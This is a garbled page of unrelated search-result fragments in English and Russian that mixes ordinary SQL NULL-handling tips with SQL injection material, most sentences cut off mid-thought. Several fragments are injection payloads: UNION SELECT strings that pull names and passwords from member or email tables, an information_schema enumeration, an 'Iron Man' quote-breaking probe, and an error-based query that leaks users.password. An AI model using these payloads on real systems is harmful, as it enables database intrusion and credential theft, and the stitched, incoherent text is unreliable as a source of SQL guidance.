just run SET CONCAT_NULL_YIELDS_NULL OFF and then all null concatenations will result in text and not null..
UNION ALL SELECT NULL, *, NULL, NULL FROM email. I understand what this does and why; the hacker needs to create a
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it...
1)>(select count(*),concat( (select users.password) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x
How can I make GROUPT_CONCAT return NULL if any column is NULL? Here is a test table
Пример: SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members Это позволит объединить
Viewing and COUNTing the NULLs. Sometimes we might have to do the opposite of what the
SELECT ProductName, UnitPrice * (UnitsInStock + UnitsOnOrder) FROM Products; In the example above, if any of the "UnitsOnOrder" values are NULL, the result will be NULL.
Iron Man' AND 0 UNION SELECT 1,2,3,4,5,6,7 #. Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих